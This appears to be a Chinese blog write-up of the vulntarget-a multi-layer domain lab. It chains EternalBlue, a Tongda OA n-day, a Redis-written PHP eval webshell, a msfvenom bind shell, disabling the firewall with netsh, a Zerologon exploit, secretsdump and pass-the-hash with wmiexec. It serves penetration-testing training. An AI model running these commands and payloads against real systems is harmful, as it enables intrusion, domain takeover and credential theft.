内网渗透vulntarget-a 多层域控靶场

目录

 

靶场介绍

1.获取win7权限

1.1信息收集

1.1.1使用nmap进行端口扫描

1.2攻击利用

1.2.1使用mfs17-010永恒之蓝漏洞

1.2.2使用历史存在过的漏洞进行复现

2.获取win2016的权限

2.1前期准备

2.1.1进程迁移

2.1.2信息收集:

2.1.3查询存活主机:

2.2攻击利用

2.2.1开启socket5代理

2.2.2手动添加代理

2.2.3对80端口进行尝试

2.2.3.1使用dirsearch爆破目录:

2.2.4利用redis未授权

2.2.5移动到msf

2.2.6进程迁移

3.获取windows2019域控权限

3.1前期准备

3.2攻击利用

3.2.1.工具下载

3.2.2测试开始

总结:


 

靶场介绍

网络拓扑图如下

 

0eee1e99781d525d656be743786f3c93.png

这里我们本次渗透测试,外网Win7IP地址为192.168.127.91

靶机信息:

靶机

用户名

密码

Windows 7

win7

admin

Windows 2016

Administrator

Admin@123

vulntarget.com\win2016

Admin#123

Windows 2019

administrator

Admin@666

靶机下载地址:https://github.com/crow821/vulntarget

1.获取win7权限

1.1信息收集

1.1.1使用nmap进行端口扫描

 nmap -sC -sV 192.168.127.91 -p- -T4 -v  
  • -sC:表示使用常见脚本进行扫描,这将运行一组常见的脚本来探测目标主机。
  • -sV:表示进行版本检测,nmap 将尝试探测目标主机上运行的服务的版本信息。
  • 192.168.127.91:这是目标主机的 IP 地址,表示对该 IP 地址进行扫描。
  • -p-:表示扫描所有的端口,这将扫描目标主机上的所有端口。
  • -T4:表示设置扫描速度为快速(4),这意味着扫描将以较高的速度进行。
  • -v:表示进行详细的输出,将显示更多的信息,包括扫描过程中的详细信息。

 

2a914178e225af6b80a1beddb93f9d03.png

可以看到开放了445端口,猜测可能存在永恒之蓝漏洞,后面作为一个利用点进行尝试。访问80端口,发现是一个通达oa系统。

 

c1826db3b5dd016536ca5cb70a832431.png

这里思路就多了,可以选择使用直接一把梭,或者多手工进行信息收集多收集一点东西。

访问/inc/expired.php,就可以得到该OA的版本信息,通过对应版本就可以找到历史漏洞,使用nday进行复现。

 

643548ad007fec9d373fe3a628f9d95f.png

 

3ec810b36dffe5c4cb9d9053b5f212cc.png

但是也不要忘记尝试进行弱口令测试,通过搜索对应的相关信息,发现目标疑似存在任意用户登陆以及文件包含、永恒之蓝等漏洞

1.2攻击利用

1.2.1使用mfs17-010永恒之蓝漏洞

 

ea22b05b8294c5cfc5475378d61131b4.png

search ms17-010 //查找永恒之蓝漏洞

use 0 //使用第一个模块

set LHOST 192.168.127.129 //攻击机ip

set LPORT 5566 //设置监听端口

set RHOST 192.168.127.91 //目标主机(win7)IP地址

可以看到攻击成功,且权限为系统权限。还有一个内网ip地址:10.0.20.98

 

93d5cf81f0c52c6132c7f9b98d1d6523.png

1.2.2使用历史存在过的漏洞进行复现

获取cookie信息,可以通过cookie进行任意用户登陆

 

2fb31aeddb8b01dc80d1dc3782e21c52.png

文件上传getshell:

 

2b8bbbd8374831ee4c89717d91304111.png

使用哥斯拉进行连接:

 

46598b48ef6f98f7b9f88de1ba46efff.png

细节来了,由于目标主机是windows,默认编码方式为GBK编码,不然输出的方式都很混乱。

 

273279eb10200e36b497c271a3addd89.png

进入,进行命令执行:

bfaa16020b01499658ff573c6bd20608.png

2.获取win2016的权限

2.1前期准备

通过获取的win7主机,先做一波进程迁移还有信息收集。

2.1.1进程迁移

当我们获得了shell后,该shel会话是很脆弱的,为了使连接稳定,我们就需要把进程绑定在一个稳定的进程上,不需要对磁盘进行操作。有两个好处,一来是渗透过程中更难被发现,二是渗透过程中连接更稳定

使用以下命令:

run post/windows/manage/migrate

系统会自动寻找合适的进程并迁移

 

8c3db280cedc6a6d7ab82f608c27b0b8.png

可以看到,进程从原来的1244进程迁移到了3248进程,

我们看看3248是什么进程

输入命令

ps

 

90f35b7f64736f01421f9ac054315242.png

可以看到是一个记事本

2.1.2信息收集:

查看当前路由情况:

run get_local_subnets

 

3c8274c8995f3b55cb487d9c87abf9bf.png

添加一个路由表:

方法一:

run autoroute -s 10.0.20.0/24

 

6e3237b7c00fa39186f39dd1a7053d98.png

方法二:

bg(background) //退出meterpreter会话
use post/multi/manage/autorouteset  //
set session 1 //设置刚才会话的id
run //运行

0e9c25356fd5f1be7473d88cc4c7dc9a.png

回到我们的session会话中,通过sessions查看对应的id,再使用sessions -i id值进行会话操作。

sessions
sessions -i 1

 

9dfb50a0d653c2599de75db6bf295656.png

查看路由表:

run autoroute -p

 

c3a54130526d376e0684122d52cb92a7.png

添加成功

2.1.3查询存活主机:

现在我们知道了10.0.20.98/24这个网段,对该内网网段进行扫描。

bg
use post/windows/gather/arp-scanner
set session 1
set rhost 10.0.20.1-254
run

发现了一台10.0.20.99网段的机器

 

448005cef225e5b7aaa6048631ae1953.png

2.2攻击利用

2.2.1开启socket5代理

bg
use auxiliary/server/socks_proxy
show optinos
run

 

6dc8b7c1951af0de26043daf7da013e2.png

可以看到,默认端口为1080。

2.2.2手动添加代理

sudo vim /etc/proxychains4.conf

在最下面修改

 

c2c2142fa5e04f16e81d61a73a6c3f30.png

保存退出

回到msf会话中

sessions -i 1
arp -a

 

0f9a4b073ae6fabba1858307382cef66.png

发现已经添加成功了。

对目标机windows2016进行端口扫描

proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1443,3306,3389,6379,8080

发现开放了80端口以及6379端口,

 

599ee4ed2144ec7d201aebe087f37f8c.png

2.2.3对80端口进行尝试

这里本机主机添加代理进行连接。

 

cc18fb921894e1b9518c06bee763938b.png

 

0f4c9c893bdcc3934253023055a0b645.png

可能存在概率存在phpmyadmin

2.2.3.1使用dirsearch爆破目录:

proxychains python dirsearch.py -u http://10.0.20.99 -i 200

 

26d953af4573cb48ece2f6fb018c4b71.png

目录扫描发现存在phpinfo.php,但是未找到有用的信息(但是后面就能用到啦)。

 

d250d546ee114edce292dcfaf6321231.png

2.2.4利用redis未授权

这里直接对redis端口尝试进行利用:

proxychains4 redis-cli -h 10.0.20.99

 

b69afdcdfc828373cf5ae2502c6c33bb.png

发现我们获得了redis的控制台,写webshell需要以下条件

1.低版本或者enable-protected-config yes

2.知道网站绝对路径,并且需要增删改查权限

3.root启动redis

4.redis弱密码或者无密码

其中1、3、4我们可以直接黑盒测试,2中的绝对路径还不得而知,但是话又说回来,获取网站的绝对路径有哪些呢?

获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏。

刚才在80端口上,我们获得了phpinfo.php界面,上面可能存在绝对路径

 

72e2520754a466a6459e052d8df19635.png

还真有一个路径,现在对该路径进行构造利用,也需要猜测一下路径所在位置,这里我们将文件写在根目录下。

config set dir "C:/phpStudy/PHPTutorial/WWW/"
config set dbfilename txx.php
set 1 "<?php @eval($_POST['txx']);?>"
save

使用哥斯拉进行连接。

 

c3022f4dc4257cabdc98e94507be18d5.png

 

16cfa1e284154ea0040149c14ff87136.png

2.2.5移动到msf

这里我们讲权限移到msf中,我们先通过msf生成一个木马,通过哥斯拉来运行,然后获取windows2016的权限

生成后门木马:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe >4444.exe

 

4159f2c3c22c0dd24651087dabeeb8bc.png

将生成的通过哥斯拉上传至windows2016中。

 

f9de3d4aa4d66d15608b3db503536e03.png

 

13dac286765a085c4b961ecb02116516.png

启动监听:

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4444
set RHOST 10.0.20.99
run

 

991bcd4dc86d079cd0b2fa82b0de7573.png

运行文件:

 

6159233899aca03cc791ca0f350bfc5a.png

但是发现并没有获取权限,我哩个豆,不应该啊,网络也是通的,有种可能,防火墙是开着的,我们通过哥斯拉把防火墙关闭试试。

netsh firewall set opmode mode=disable

 

baac6b159ce37e8ac094c492b82d0229.png

再运行4444.exe这个木马

 

744c90c05bb0f601de8199bb4622b686.png

获取了windows2016的权限!

2.2.6进程迁移

run post/windows/manage/migrate

 

a7a51eb9d5f5e73959e0cabe51dbb2be.png

收集主机信息:

sysinfo

 

b8736773c358ad39bdb6e97b5fc5e4ac.png

收集同网段主机:

arp

 

e1dd228a900bf35b606feb1e8f928db3.png

只能看到10.0.10.110这个ip,对该IP进行渗透测试。

进入shell会话,将编码设置为65001(不然会出现乱码)

shell
chcp 65001

 

379912364adab4abe1279e68fe6c9ef4.png

查看网卡信息:

ipconfig /all

 

d66c79fadcbc5c052732cf8c2973f826.png

我们可以通过DNS Server确定域控地址。

但是还有其他方式可以确定:

net time /domain
net group "domain controllers" /domain
ping vulntarget.com
net group "enterprise admins" /domain

 

65c2c75e525c0d85e4ff66ae93c25a28.png

但是毫无例外,我这儿使用这些命令都失效了(但是别人都可以使用),查找原因也不知道是什么,靶场设置也没动过,将靶场删了重新下载搭建重新弄还是不行,好崩溃啊!确定域控方式只能通过DNS Server了,DNS Server地址为10.0.10.110

3.获取windows2019域控权限

3.1前期准备

添加路由

run post/multi/manage/autoroute

 

1e15316ea84ab84a3af344cec15ca2fa.png

查看路由:

run autoroute -p

 

6c3ed3eca4a5986b67eeac882a48e9e4.png

对域控主机进行端口扫描:

proxychains4 nmap -Pn -sT 10.0.10.110 -p6379,80,8080,445,139

 

8f67feb9c5cf3133b92a98f77034a31a.png

可以看到,目标windows2019开放了80、139、445端口

3.2攻击利用

3.2.1.工具下载

下载impacket:

git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 -m pip install -r requirements.txt
python3 -m pip install .

下载CVE-2020-1472EXP

git clone  https://github.com/dirkjanm/CVE-2020-1472.git

3.2.2测试开始

使用cve-2020-1472(内网大杀器)将密码置空:

proxychains python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110

 

349d9712db349b2d0ffad465b0a5b3f2.png

查看hash:

这里带了一个参数 -no-pass 因为刚才我们使用CVE-2020-1472将密码置空了。

proxychains python3 secretsdump.py vulntarget.com/WIN2019\$@10.0.10.110 -no-pass

 

1ce7a7f7bb9894a9d694ae77e245e9e2.png

这里可以看到获取了很多hash,其中有一个叫做administrator的用户,一眼XX,鉴定为域管理员。使用smbexec进行横向移动,

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15  Administrator@10.0.10.110

 

eba172abc906a9a91244ffc98c98882d.png

好崩溃啊!!!

做到这儿已经打算放弃了,使用了各种方法都不行,看到了有krbtgt用户的hash,可以做一个黄金票据。但是又突然想到了使用wmiexec试试。

proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget/administrator@10.0.10.110

c43491017425d15f7d8d612456f114ff.png

利用成功了,但是最后阶段利用得好崩溃啊。为啥smbexec不可以,wmiecex就可以了?

带着疑问问了问其他人:

有可能是共享目录的问题,wmiexec横向移动不需要看共享目录(ipc),而smbexec需要。

两者使用的端口也不同,wmiexec使用的是135smbexec使用的是445

总结:

这个靶场是我第一个搭建在本地上的靶场,虽然中路有很多挫折,比如在前期配置外网网卡时候,发现DHCP一直分配不上ip地址,一直是168.254.X.X,好在后面及时发现问题,发现网卡设置错了。中途看着wp很多时候也不行,尝试了找错误找了很久,包括查资料,问大佬。不过最后大部分都还是解决了。主要还是一个带着疑问打靶场效率更高

本次的渗透流程:

外网信息收集->nday获取win7权限/ms17-010获取win7权限->redis未授权访问获取windows2016权限->CVE-CVE-2020-1472大杀器获取域控的权限。

 

 

  • 35
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 27
    评论
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 27
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

B10SS0MS

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值